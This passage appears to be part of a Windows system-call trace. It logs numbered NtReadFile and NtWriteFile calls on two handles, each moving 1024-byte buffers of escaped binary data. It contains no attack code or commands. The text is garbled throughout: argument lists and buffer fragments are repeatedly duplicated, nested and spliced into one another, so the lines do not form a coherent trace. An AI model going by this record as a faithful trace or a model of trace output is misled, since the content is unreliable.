377\370w3\31\220\2741a\200\240\374\343\35N\34601\207m\26\236^\232B", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \25\343qn\262\230n\260\33r\237\26\311\200(\351\273\311\303,\257\274\217\257\23\265PPR*\232\1\200\323\306L\37\246\24\362\261\225P\346?k\4\5@T\2|s\303H\361Q%h\271\357*\10\333\223v>\70~\300\236\364\310\36=\264Uh\262(\266\227\7\255D\313+\221T\243\361A\245\24\138,\342ikkzv\273-\354\220\27\13\3478,S\11\236\315`\351\14\330\263\18\3060t\211\14Go (92, 0, 0, 0, "l\35|\32\25\306\315\351\206\350\214[\332\16:\274f\347\343\312=>\232\351\345(\17CK\31]\362\242\253\217\206\260k\7\332\225\230\20D\231\204,\263\213\252\246\25\31p\20GMEI\270d7&\365\237c\271\340\347\326L\376\21\23\342z\232\357p\326\306\3>\3434(h\4z\373\226u?h\16x\21\212dlJ\307n'm\13Z\212\324\23 i\32\256\325M\340\32\322\250p\230\235$\200\340o\222\341\337\246~:\220\266;\7\300G\360\376\357\304\333.\316\352\201\207\261\340\340\274\211"\25\343qn\262\230n\260\33r\237\26\311\200(\351\273\311\303,\257\274\217\257\23\265PPR*\232\1\200\323\306L\37\246\24\362\261\225P\346?k\4\5@T\2|s\303H\361Q%h\271\357*\10\333\223v>\70~\300\236\364\310\36=\264Uh\262(\266\227\7\255D\313+\221T\243\361A\245\24\138,\342ikkzv\273-\354\220\27\13\3478,S\11\236\315`\351\14\330\263\18\3060t\211\14Go"R\205X#{\27n&'\125b\352\375Z\312\372O=Uc\15[\371\360\273\221\363\1\241\237\220Q?\263\34\0\22z\244O\354a\277l\205\17G\362\21\32\213M\202\21\1E\235\23X\225\362X#\6\2273\\22?/("\220_\216\353\212}\13\37\14\302\4\3003;M\207v\345jx\303=0\22\334\372/\324j\32\1\226?&\3142T1\3319J-\5Vs4\346\334\335\33732\254\372\16U\13\172\3233\2\5P\211\332NU\300\320HIK5\277\340GQ\354\7\374`]\243\377\247K$A\240\240\320Oo\260\13\351\314\\264\215\361\33#8Q\360\256\3\225\12Y\33\272t\377\370w3\31\220\2741a\200\240\374\343\35N\34601\207m\26\236^\232B", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \220_\216\353\212}\13\37\14\302\4\3003;M\207v\345jx\303=0\22\334\372/\324j\32\1\226?&\3142T1\3319J-\5Vs4\346\334\335\33732\254\372\16U\13\172\3233\2\5P\211\332NU\300\320HIK5\277\340GQ\354\7\374`]\243\377\247K$A\240\240\320Oo\260\13\351\314\\264\215\361\33#8Q\360\256\3\225\12Y\33\272t\377\370w3\31\220\2741a\200\240\374\343\35N\34601\207m\26\236^\232B", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01226  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\213\20\31\22h\24-d\27\255\11\316\13,\146\34\1\13\3\276\5\331\7?\33\35'\15%:\33O#\36\351\34\317\22\322\20),\26{\24\205\12\343\10;5\12\25\4\5\6x\0j>\3kb\25/\36"#\340D(vs\252G\15\262~\304\231\357I\3tG\7\204?6+\263v>km\302+\275\27M\242\336j5t\231\203.-\316\14\316\215lvwrp\257\363d\273D\34\335.\359\207e-1\3425\234\5\33}\30\264@\1\321\16\367\217\225l\16*k\15d\253)'\2606\204\\2702\321\32\257\261=Z$9\37\2q\20\233\31\26\240&\21\257#\302\13|9\251-\246zD\356\2b\331\325y\364\325\33\261\330\24\262\276\235k\265\316\33\206%\372\367\237\241\200K %\346%*)#)l\255\207O05\332\356\33t\266\373\307,\226\343>\274\352\377\364\211\36\13\240\217F\243\232}'3\300o*A|\355+\23\330\153q6q\22\37P\275\14\202\334\241\31;\0<\31\315|#a+\253$\205m\261\251\36(NO\14!\313q\1\332>T.6\221R\350~8\260\31\262\237\246\344\335\23\237"\3w\2qq\2W\12xby@\305\222\17\24Uk\212T_Vn(\230>\307=4B\377\31\31\372K~-\241C.\332D+Ci-k\222\254-+\376\2202\3612\26/\231\269|\370:Z]9:\0\4\330\37\215q\301+&\16\7\343&-H-\0\211l7\207q\23\235&\3644^7;\271z?d=>\22\315\24Z\25\224\35Z+\31\233\33\335\5-\4\12t\3W\1E\0o;ID>\5\243&\310$\305\32\320"\31%\36f\34\270\22\343+\27\324\256\14`\16J4Q\2\224\14", ) #\340D(vs\252G\15\262~\304\231\357I\3tG\7\204?6+\263v>km\302+\275\27M\242\336j5t\231\203.-\316\14\316\215lvwrp\257\363d\273D\34\335.\359\207e-1\3425\234\5\33}\30\264@\1\321\16\367\217\225l\16*k\15d\253)'\2606\204\\2702\321\32\257\261=Z$9\37\2q\20\233\31\26\240&\21\257#\302\13|9\251-\246zD\356\2b\331\325y\364\325\33\261\330\24\262\276\235k\265\316\33\206%\372\367\237\241\200K %\346%*)#)l\255\207O05\332\356\33t\266\373\307,\226\343>\274\352\377\364\211\36\13\240\217F\243\232}'3\300o*A|\355+\23\330\153q6q\22\37P\275\14\202\334\241\31;\0<\31\315|#a+\253$\205m\261\251\36(NO\14!\313q\1\332>T.6\221R\350~8\260\31\262\237\246\344\335\23\237 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\213\20\31\22h\24-d\27\255\11\316\13,\146\34\1\13\3\276\5\331\7?\33\35'\15%:\33O#\36\351\34\317\22\322\20),\26{\24\205\12\343\10;5\12\25\4\5\6x\0j>\3kb\25/\36"#\340D(vs\252G\15\262~\304\231\357I\3tG\7\204?6+\263v>km\302+\275\27M\242\336j5t\231\203.-\316\14\316\215lvwrp\257\363d\273D\34\335.\359\207e-1\3425\234\5\33}\30\264@\1\321\16\367\217\225l\16*k\15d\253)'\2606\204\\2702\321\32\257\261=Z$9\37\2q\20\233\31\26\240&\21\257#\302\13|9\251-\246zD\356\2b\331\325y\364\325\33\261\330\24\262\276\235k\265\316\33\206%\372\367\237\241\200K %\346%*)#)l\255\207O05\332\356\33t\266\373\307,\226\343>\274\352\377\364\211\36\13\240\217F\243\232}'3\300o*A|\355+\23\330\153q6q\22\37P\275\14\202\334\241\31;\0<\31\315|#a+\253$\205m\261\251\36(NO\14!\313q\1\332>T.6\221R\350~8\260\31\262\237\246\344\335\23\237"\3w\2qq\2W\12xby@\305\222\17\24Uk\212T_Vn(\230>\307=4B\377\31\31\372K~-\241C.\332D+Ci-k\222\254-+\376\2202\3612\26/\231\269|\370:Z]9:\0\4\330\37\215q\301+&\16\7\343&-H-\0\211l7\207q\23\235&\3644^7;\271z?d=>\22\315\24Z\25\224\35Z+\31\233\33\335\5-\4\12t\3W\1E\0o;ID>\5\243&\310$\305\32\320"\31%\36f\34\270\22\343+\27\324\256\14`\16J4Q\2\224\14", ) \22\315\24Z\25\224\35Z+\31\233\33\335\5-\4\12t\3W\1E\0o;ID>\5\243&\310$\305\32\320 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\213\20\31\22h\24-d\27\255\11\316\13,\146\34\1\13\3\276\5\331\7?\33\35'\15%:\33O#\36\351\34\317\22\322\20),\26{\24\205\12\343\10;5\12\25\4\5\6x\0j>\3kb\25/\36"#\340D(vs\252G\15\262~\304\231\357I\3tG\7\204?6+\263v>km\302+\275\27M\242\336j5t\231\203.-\316\14\316\215lvwrp\257\363d\273D\34\335.\359\207e-1\3425\234\5\33}\30\264@\1\321\16\367\217\225l\16*k\15d\253)'\2606\204\\2702\321\32\257\261=Z$9\37\2q\20\233\31\26\240&\21\257#\302\13|9\251-\246zD\356\2b\331\325y\364\325\33\261\330\24\262\276\235k\265\316\33\206%\372\367\237\241\200K %\346%*)#)l\255\207O05\332\356\33t\266\373\307,\226\343>\274\352\377\364\211\36\13\240\217F\243\232}'3\300o*A|\355+\23\330\153q6q\22\37P\275\14\202\334\241\31;\0<\31\315|#a+\253$\205m\261\251\36(NO\14!\313q\1\332>T.6\221R\350~8\260\31\262\237\246\344\335\23\237"\3w\2qq\2W\12xby@\305\222\17\24Uk\212T_Vn(\230>\307=4B\377\31\31\372K~-\241C.\332D+Ci-k\222\254-+\376\2202\3612\26/\231\269|\370:Z]9:\0\4\330\37\215q\301+&\16\7\343&-H-\0\211l7\207q\23\235&\3644^7;\271z?d=>\22\315\24Z\25\224\35Z+\31\233\33\335\5-\4\12t\3W\1E\0o;ID>\5\243&\310$\305\32\320"\31%\36f\34\270\22\343+\27\324\256\14`\16J4Q\2\224\14", ) , ) == 0x0
 01227  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\252\260,@\204{\26\312\2347\305\272j\177\275Wzv\6W\201\230l\320P\346x\15}2\277\201%\214\262N:#\256/\304y\2750#\4\322\370-`\33ar\276[e\216H\352\320\362\350\356i \327\243!;\323\327\245\14\306p\333^\317\245}\326>\3\22\217f\303\32\366\311f\355\237EzYuY\16\237\245\330\306R\270\0AFu\223\257\25"\4{]`\350,.\306\364dy\13d\345\302\357~\320\243\351x7/cA$\364\366\243f\10\216\324\375b\240D}+n\265)\23R-\251gP\226\206^o1`\15\221\211L\313D!L\345\233\203\233~p\335\\342\352o\20\310JW\316\256`VB\261\314\36\316\300K=\333E*\356$_\35\35\342\10\361\2\11\352\367v\26\7\352\331\261\303\2\317\2678b\332\234d\15)\360\244,\222\205\243\37\322\257\234\211Cj\21\365\363C/%\243)\221\\200\26\263\357\6\303=\4\374\213J\375\354M\250\255W\6^w\346\234\234u}\2\324\15\353S!\312 \236:I\177N\254\235\351\247\311`\2663%\244\2330`\302\222.\325;\353\344O\332B= \217\341%\261Vf\313\251\207\210\10\350\334\217\305\22bjw*\257t\370y\36\345\325\25\17\265\314gd\250Yn\26%8x\240\31\254<\252\26\270\264\4\354\6\214\320](\352\226\353\334\12$2\241\1\302\354\247.s\15\220\261\260\10\361\254\21\270X7*\3Y\10\213\255\300yQ\201\346\277\320\254\313\200\2134\332\305\2327\374R\351lo\376\317\3\364\2516\35S\^\12\306\327\270\340\313+\3058\350\34xsU\345s\17746+\10\335\220\256\220\225F.\276 \203sB\350b\355\36\234u\321Z\204{\25\331n\243\373\231Y\222-\243aK\373\376\223\224\15\354\261", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \4{]`\350,.\306\364dy\13d\345\302\357~\320\243\351x7/cA$\364\366\243f\10\216\324\375b\240D}+n\265)\23R-\251gP\226\206^o1`\15\221\211L\313D!L\345\233\203\233~p\335\\342\352o\20\310JW\316\256`VB\261\314\36\316\300K=\333E*\356$_\35\35\342\10\361\2\11\352\367v\26\7\352\331\261\303\2\317\2678b\332\234d\15)\360\244,\222\205\243\37\322\257\234\211Cj\21\365\363C/%\243)\221\\200\26\263\357\6\303=\4\374\213J\375\354M\250\255W\6^w\346\234\234u}\2\324\15\353S!\312 \236:I\177N\254\235\351\247\311`\2663%\244\2330`\302\222.\325;\353\344O\332B= \217\341%\261Vf\313\251\207\210\10\350\334\217\305\22bjw*\257t\370y\36\345\325\25\17\265\314gd\250Yn\26%8x\240\31\254<\252\26\270\264\4\354\6\214\320](\352\226\353\334\12$2\241\1\302\354\247.s\15\220\261\260\10\361\254\21\270X7*\3Y\10\213\255\300yQ\201\346\277\320\254\313\200\2134\332\305\2327\374R\351lo\376\317\3\364\2516\35S\^\12\306\327\270\340\313+\3058\350\34xsU\345s\17746+\10\335\220\256\220\225F.\276 \203sB\350b\355\36\234u\321Z\204{\25\331n\243\373\231Y\222-\243aK\373\376\223\224\15\354\261", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01228  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "<\273S\343\30\335\340&\342+\14ssw\300\251\364\355\321\322x\244\310\364~\363\20\276\361igd\30543==\317\27\254\21\232\326U c\233%\215'\21\300+k\213-\256\352\17V\10\206#\20\20164x;-N"\275V/<\34\37v\367\0\103\342-$\316;J-"\242\250\14o+Z0de\3652\4,S8;\35Y\336\260\344\11y\35\337M\201\365\315\352\230\347\254(\322\353\314:\354\305%;1\311\270\3566\314\276D\358[N3\301\276\316\366\327 \373\333<:5\307\30\347\226\331<\240\351Fq0uNdKU\353A\252\242.\2773\262\366+t%\262uy\10~\273S<3\362\363\347\235\252Ot\311\210!\253-\346$\303\350)C\266\305\252;K\260&\364\371dd\263,\37\23\273(}-\326\343\34>@w(\23f#%M.')\31*3\304\237.,\20\262\366\27\225\316W\263\11:\262I\261\276\19i'\34Y 1\250%\36\346R#x\25\10^\336,\12+8\25\223B\307\277j\350\264\177\237==\236\343\314\36MI?\4\221\3BH\73t3q/XD\354\11\3550\13\342$Gv\326\341J?MISI\372$l\237\255\3^!!!pm\177\325!8dn\177a\257.}~e\270|\2605p\344\30}\177w\17?6nO8\11\37\7r\245\312\223&IS\351ww-\305/+.2\260`aec\276\317\268\2726Q<, ) \275V/<\34\37v\367\0\103\342-$\316;J- (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "<\273S\343\30\335\340&\342+\14ssw\300\251\364\355\321\322x\244\310\364~\363\20\276\361igd\30543==\317\27\254\21\232\326U c\233%\215'\21\300+k\213-\256\352\17V\10\206#\20\20164x;-N"\275V/<\34\37v\367\0\103\342-$\316;J-"\242\250\14o+Z0de\3652\4,S8;\35Y\336\260\344\11y\35\337M\201\365\315\352\230\347\254(\322\353\314:\354\305%;1\311\270\3566\314\276D\358[N3\301\276\316\366\327 \373\333<:5\307\30\347\226\331<\240\351Fq0uNdKU\353A\252\242.\2773\262\366+t%\262uy\10~\273S<3\362\363\347\235\252Ot\311\210!\253-\346$\303\350)C\266\305\252;K\260&\364\371dd\263,\37\23\273(}-\326\343\34>@w(\23f#%M.')\31*3\304\237.,\20\262\366\27\225\316W\263\11:\262I\261\276\19i'\34Y 1\250%\36\346R#x\25\10^\336,\12+8\25\223B\307\277j\350\264\177\237==\236\343\314\36MI?\4\221\3BH\73t3q/XD\354\11\3550\13\342$Gv\326\341J?MISI\372$l\237\255\3^!!!pm\177\325!8dn\177a\257.}~e\270|\2605p\344\30}\177w\17?6nO8\11\37\7r\245\312\223&IS\351ww-\305/+.2\260`aec\276\317\268\2726Q<, ) , ) == 0x0
 01229  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\211#O\222\246;\34\16\274;!<\321\33{\2%\20\234\327\202\342\311\6\3354\267>\314\327\224\216\21n:\220\370\230f\347\1\347\307\240\37V\325\353j\36\273\212 \324\362\26\326/\330!r\246U\222\21\264=\237\307\241\250<\375]8\0e^k\260#)Q<\232\3\221\6\370\260}\23\213\260&\377\221\250\344\240\2168/\27\20\332\10l\210,N\337T\342(\333\342\337m\17\347\335\262/,C\230`F\321l\271\360\372\12<\300\12\12\252\343\331\345\27!\302pq\326\231\273{\237\310\12\323\\354S\14\2\225(\317\36\6\333\4\203\370\225*\262\302\225\205\3228\377o\346\21\256\6\216\217W\317\352-zf\227\270H\6\31m\\244\363"F\230\261YC\11\325~\276g_\302\244\355\253TRo^\340\12G\220\353\3537\32\0t\347}<\300\357s@\251\310}\257\301\352y!<\3049y\314\253^3.\344\232%\202\36\314\255\27\200k\252\215'\377\205fy\6RZ$\364Ib\14\377\364\200\303\240\310\12\207\247\350xW\275u\334;\372-\310\341[+\362\370\377\302\254;#\254\3\356L4T\312\276 \365\212@\333\234\245]\2548\264\263\201\15\232\226q\36\333\244\363\310\d\217\4\264+7!\205\21\325\304\240\375w\20\257\32\241\222\312\276\4c6!\4f\272\305\24f\314\61\4\214\271\370\330\30\350\375o\263\262\215Q\32\257Tf.l\206\364\10\300\236p4~\312\330230\261YC\11\325~\276g_\302\244\355\253TRo^\340\12G\220\353\3537\32\0t\347}<\300\357s@\251\310}\257\301\352y!<\3049y\314\253^3.\344\232%\202\36\314\255\27\200k\252\215'\377\205fy\6RZ$\364Ib\14\377\364\200\303\240\310\12\207\247\350xW\275u\334;\372-\310\341[+\362\370\377\302\254;#\254\3\356L4T\312\276 \365\212@\333\234\245]\2548\264\263\201\15\232\226q\36\333\244\363\310\d\217\4\264+7!\205\21\325\304\240\375w\20\257\32\241\222\312\276\4c6!\4f\272\305\24f\314\61\4\214\271\370\330\30\350\375o\263\262\215Q\32\257Tf.l\206\364\10\300\236p4~\312\330206\345+Xr\327\244\373c\33u\24)\3351}\323\312\320\33\372\330=\214\244\70\340\300\227\30\262V%)\240\220\353d\220&\365M\353,\216\36\312\362WFk,\272\346\372w\334\361u\357:%\251\1\352Y'6n\241\357_T\214?\254\12\324\236n\375\250b\31\346\265\34", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01230  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\302%\366\5\367\2749\345"3=1?\20\23\35\305\7<\362:;wsq&=\220\34\10^\11p\311\211\10\345!'?\212{/\320#-!/\317>2<4:6886:4<2>0\33\3\22\36\20 .",$\360\247s\14!*x\247q\12;e\32\3413\7\365``\275\353D,=\335\276+\220`9\2\34\320!\251\350\27\310\325\201\%>\10\2509"\355$[\151% *\37\274;\22[1\355o\177\20%\365*]4Ad7\361\316vc=\225\353-\240\270Q\241;T\10\334"*gb'\353}f\365y4\210\4>kT9~\6\13]\342\13\243\371#d"%$\6\23\20).\332m5&\320%\361s2`\21"_\274\271\312;8o\326\217\245\354x\351\220\216."~\27\15)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*$#-!/?1=3\315\200$\373\26?:\304\6=A\371\14\34]\36\36\320Fa#2\254\356c\14\5\257\2\304a.\75\27\272\247\20i7\2188h\277\32)\207\265\33\22\205\2482\311\325x$[$\0p)!\342\12)\355\11s|\365\17\270\367\20\263\4\321Wz/\261\217u\10\17\365\265_3\341\200#\220t'\23\212)\266\232.\207\7\2150\325c2*\2276S\211;\20(\236=\32>\31\24\277\36\13\375", ) 3=1?\20\23\35\305\7<\362:;wsq&365/~\307G\201I\23\227\220&%\13\31\34\323\274\34=\261\333\230?Nm\245I\376\34\344-vv8\220\357\267\315\3559\326\6\3178\314D!&\27<)\323\3008%>=\220\34\10^\11p\311\211\10\345!'?\212{/\320#-!/\317>2<4:6886:4<2>0\33\3\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\302%\366\5\367\2749\345"3=1?\20\23\35\305\7<\362:;wsq&=\220\34\10^\11p\311\211\10\345!'?\212{/\320#-!/\317>2<4:6886:4<2>0\33\3\22\36\20 .",$\360\247s\14!*x\247q\12;e\32\3413\7\365``\275\353D,=\335\276+\220`9\2\34\320!\251\350\27\310\325\201\%>\10\2509"\355$[\151% *\37\274;\22[1\355o\177\20%\365*]4Ad7\361\316vc=\225\353-\240\270Q\241;T\10\334"*gb'\353}f\365y4\210\4>kT9~\6\13]\342\13\243\371#d"%$\6\23\20).\332m5&\320%\361s2`\21"_\274\271\312;8o\326\217\245\354x\351\220\216."~\27\15)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*$#-!/?1=3\315\200$\373\26?:\304\6=A\371\14\34]\36\36\320Fa#2\254\356c\14\5\257\2\304a.\75\27\272\247\20i7\2188h\277\32)\207\265\33\22\205\2482\311\325x$[$\0p)!\342\12)\355\11s|\365\17\270\367\20\263\4\321Wz/\261\217u\10\17\365\265_3\341\200#\220t'\23\212)\266\232.\207\7\2150\325c2*\2276S\211;\20(\236=\32>\31\24\277\36\13\375", ) \355$[\151% *\37\274;\22[1\355o\177\20%\365*]4Ad7\361\316vc=\225\353-\240\270Q\241;T\10\334251\332:32/\242\203\202\377\37  r\252X\12\317\333\\333\237T (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\302%\366\5\367\2749\345"3=1?\20\23\35\305\7<\362:;wsq&=\220\34\10^\11p\311\211\10\345!'?\212{/\320#-!/\317>2<4:6886:4<2>0\33\3\22\36\20 .",$\360\247s\14!*x\247q\12;e\32\3413\7\365``\275\353D,=\335\276+\220`9\2\34\320!\251\350\27\310\325\201\%>\10\2509"\355$[\151% *\37\274;\22[1\355o\177\20%\365*]4Ad7\361\316vc=\225\353-\240\270Q\241;T\10\334"*gb'\353}f\365y4\210\4>kT9~\6\13]\342\13\243\371#d"%$\6\23\20).\332m5&\320%\361s2`\21"_\274\271\312;8o\326\217\245\354x\351\220\216."~\27\15)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*$#-!/?1=3\315\200$\373\26?:\304\6=A\371\14\34]\36\36\320Fa#2\254\356c\14\5\257\2\304a.\75\27\272\247\20i7\2188h\277\32)\207\265\33\22\205\2482\311\325x$[$\0p)!\342\12)\355\11s|\365\17\270\367\20\263\4\321Wz/\261\217u\10\17\365\265_3\341\200#\220t'\23\212)\266\232.\207\7\2150\325c2*\2276S\211;\20(\236=\32>\31\24\277\36\13\375", ) %$\6\23\20).\332m5&\320%\361s2`\21 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\302%\366\5\367\2749\345"3=1?\20\23\35\305\7<\362:;wsq&=\220\34\10^\11p\311\211\10\345!'?\212{/\320#-!/\317>2<4:6886:4<2>0\33\3\22\36\20 .",$\360\247s\14!*x\247q\12;e\32\3413\7\365``\275\353D,=\335\276+\220`9\2\34\320!\251\350\27\310\325\201\%>\10\2509"\355$[\151% *\37\274;\22[1\355o\177\20%\365*]4Ad7\361\316vc=\225\353-\240\270Q\241;T\10\334"*gb'\353}f\365y4\210\4>kT9~\6\13]\342\13\243\371#d"%$\6\23\20).\332m5&\320%\361s2`\21"_\274\271\312;8o\326\217\245\354x\351\220\216."~\27\15)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*$#-!/?1=3\315\200$\373\26?:\304\6=A\371\14\34]\36\36\320Fa#2\254\356c\14\5\257\2\304a.\75\27\272\247\20i7\2188h\277\32)\207\265\33\22\205\2482\311\325x$[$\0p)!\342\12)\355\11s|\365\17\270\367\20\263\4\321Wz/\261\217u\10\17\365\265_3\341\200#\220t'\23\212)\266\232.\207\7\2150\325c2*\2276S\211;\20(\236=\32>\31\24\277\36\13\375", ) ~\27\15)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\302%\366\5\367\2749\345"3=1?\20\23\35\305\7<\362:;wsq&=\220\34\10^\11p\311\211\10\345!'?\212{/\320#-!/\317>2<4:6886:4<2>0\33\3\22\36\20 .",$\360\247s\14!*x\247q\12;e\32\3413\7\365``\275\353D,=\335\276+\220`9\2\34\320!\251\350\27\310\325\201\%>\10\2509"\355$[\151% *\37\274;\22[1\355o\177\20%\365*]4Ad7\361\316vc=\225\353-\240\270Q\241;T\10\334"*gb'\353}f\365y4\210\4>kT9~\6\13]\342\13\243\371#d"%$\6\23\20).\332m5&\320%\361s2`\21"_\274\271\312;8o\326\217\245\354x\351\220\216."~\27\15)'')%+#-\321 0>2<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*$#-!/?1=3\315\200$\373\26?:\304\6=A\371\14\34]\36\36\320Fa#2\254\356c\14\5\257\2\304a.\75\27\272\247\20i7\2188h\277\32)\207\265\33\22\205\2482\311\325x$[$\0p)!\342\12)\355\11s|\365\17\270\367\20\263\4\321Wz/\261\217u\10\17\365\265_3\341\200#\220t'\23\212)\266\232.\207\7\2150\325c2*\2276S\211;\20(\236=\32>\31\24\277\36\13\375", ) , ) == 0x0
 01231  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "0\203x@\360\2.\2\367\330\370\242\325\243\376\14\337\201N\310\214\233?\345v\267\336\2743\261n\305V\305\304!1\245\363\6,\34P\3500p4,\316\16-\15\264\30O\341\0+\363\27\3358\201\254\215o$\322\370?\235Ab\352\242\375\17`\370\236\231\177\216\206?Gg\315\7\324$\1*\207GL5E\26\242\250\377\374\340V\362>\261\306;\27P\2545\372\345\336\337\7\355W&g1_\373\277\265)\4\261F\317\272^)\277\357`K\21\22\365\\266NS\34E\37\6\273\37\276\275D~\370P\342\2\334\337\355\327W.\266\24*\373\245[\36\351\307\215\22\365\211\251`r\355xm\254y\300*\346\220\330\306\216\272X\250g\266\337\240\302\312\306?H\317G*n\227\363ECs\314 \24Y\21\32\240U\337\300d\372z\213\333\233\6'\337\323\37\305\345\3567A\212\24\323L8J\275k\265\203\230\2632~c%Ql\214>\334\371-")=r\300\211\275\22Z\2\274\12\315\223\240\301\347\231\271\332\262\243\213@y^\344\261jf\31\300%4\300-\244\353\242\355\245\11\374p\10r7\325\371\215\254x\315+\276\264\217%m\306\305\350\231\251Z\361\7\342"\227=\315\10\266w\11\307\230\210o\23{=q\211.~\342\271\230\231\15"K\232'\345\311\235\215p\317\27\260.L\203\366\257\244\3619\212\3K\307A,\313\350\11\3339\322@\1a\3445\324\243\375S'\374\241Th\204C\210\3743\264\263\257A-\313\234z\235hAT\16&\306X\361\200\201\232\351K\300\373(A/\303\25TC\6\3225/\202\235\353\213\325\11T\374\273\333\225@\341\300\260D\235\246=]\212\255\30\335z%\200\271&v\342\334<\12\313\333\314\7\315\217ze9\1\0,1\217\231\324\22\320\13\35\212\10", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) )=r\300\211\275\22Z\2\274\12\315\223\240\301\347\231\271\332\262\243\213@y^\344\261jf\31\300%4\300-\244\353\242\355\245\11\374p\10r7\325\371\215\254x\315+\276\264\217%m\306\305\350\231\251Z\361\7\342 (92, 0, 0, 0, "0\203x@\360\2.\2\367\330\370\242\325\243\376\14\337\201N\310\214\233?\345v\267\336\2743\261n\305V\305\304!1\245\363\6,\34P\3500p4,\316\16-\15\264\30O\341\0+\363\27\3358\201\254\215o$\322\370?\235Ab\352\242\375\17`\370\236\231\177\216\206?Gg\315\7\324$\1*\207GL5E\26\242\250\377\374\340V\362>\261\306;\27P\2545\372\345\336\337\7\355W&g1_\373\277\265)\4\261F\317\272^)\277\357`K\21\22\365\\266NS\34E\37\6\273\37\276\275D~\370P\342\2\334\337\355\327W.\266\24*\373\245[\36\351\307\215\22\365\211\251`r\355xm\254y\300*\346\220\330\306\216\272X\250g\266\337\240\302\312\306?H\317G*n\227\363ECs\314 \24Y\21\32\240U\337\300d\372z\213\333\233\6'\337\323\37\305\345\3567A\212\24\323L8J\275k\265\203\230\2632~c%Ql\214>\334\371-")=r\300\211\275\22Z\2\274\12\315\223\240\301\347\231\271\332\262\243\213@y^\344\261jf\31\300%4\300-\244\353\242\355\245\11\374p\10r7\325\371\215\254x\315+\276\264\217%m\306\305\350\231\251Z\361\7\342"\227=\315\10\266w\11\307\230\210o\23{=q\211.~\342\271\230\231\15"K\232'\345\311\235\215p\317\27\260.L\203\366\257\244\3619\212\3K\307A,\313\350\11\3339\322@\1a\3445\324\243\375S'\374\241Th\204C\210\3743\264\263\257A-\313\234z\235hAT\16&\306X\361\200\201\232\351K\300\373(A/\303\25TC\6\3225/\202\235\353\213\325\11T\374\273\333\225@\341\300\260D\235\246=]\212\255\30\335z%\200\271&v\342\334<\12\313\333\314\7\315\217ze9\1\0,1\217\231\324\22\320\13\35\212\10", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) K\232'\345\311\235\215p\317\27\260.L\203\366\257\244\3619\212\3K\307A,\313\350\11\3339\322@\1a\3445\324\243\375S'\374\241Th\204C\210\3743\264\263\257A-\313\234z\235hAT\16&\306X\361\200\201\232\351K\300\373(A/\303\25TC\6\3225/\202\235\353\213\325\11T\374\273\333\225@\341\300\260D\235\246=]\212\255\30\335z%\200\271&v\342\334<\12\313\333\314\7\315\217ze9\1\0,1\217\231\324\22\320\13\35\212\10", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01232  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\246`0j{\250\305\301\2573\274\244\6$t\37:J1563=1?\327\235\331\362?\260ltt\233Ez\327g)}A.\244R\13$\3166&\4D+\307\273\307\305N\2746a\14\333B\234\332~"\253\341\303\14\25\7\177\254\15\6\212{?HO\20)0\261\26\335z7|\370\36{\220H-\227\220\22N.;4\362]&\2459\31\2061\15'\304&".\243h\244\366\333\256\25\07:\262\302\312#\2666:\13\32\361~\13v\252\372\3341\307\326\247(~\302\357\374,\315~_\2723\37665\36\370\38\22\177\326\235>g~\14\36\367p\263a"T\236\235&<\277V*8\11\37v0\11\256&5!A\254\219.9l<*\302\31\264\5{V!+!j%/\10[(\21\203\2718,\246\253\240>\3005\365\0\377;\306\364.\235\13\17\6\233\10\365\275_\21\1/\346\205&w\27)5\302v\234\251\216,6\7\2625$$\27248;P\37=o\257\276\363p\34;\22\30(\203+\342\2414\33)x\241\343\250\305\270\6\236\215\317\314\234\264\360\271\270\21l\277\24t\275\27\31<\2376\316\226\334\335\250h%\2\37wwN\242!-n+\263\365\16\360\24436\3739E:Q\303U\372\211X\34\35\37{\201!&s@\254$\2\350\16\306\37\177\250.V\2651\230\262\2615\277\2628\250\277;\240\270>\225\277\231\35\262\232 \225\247#\230\245&\216m4\21\352\1\231(,ig2\206\25v6=\21z;\355\20\15N\33\261]2!Q!\2\12m=%\217=*\200\212(\;\14\242\1610\245^qG.9j\304)5\345=\32\237\271\332\33\341%\251\313L,O\227,\11\257\306#\251\13\2374[\22\220\365+\267`l\35", ) 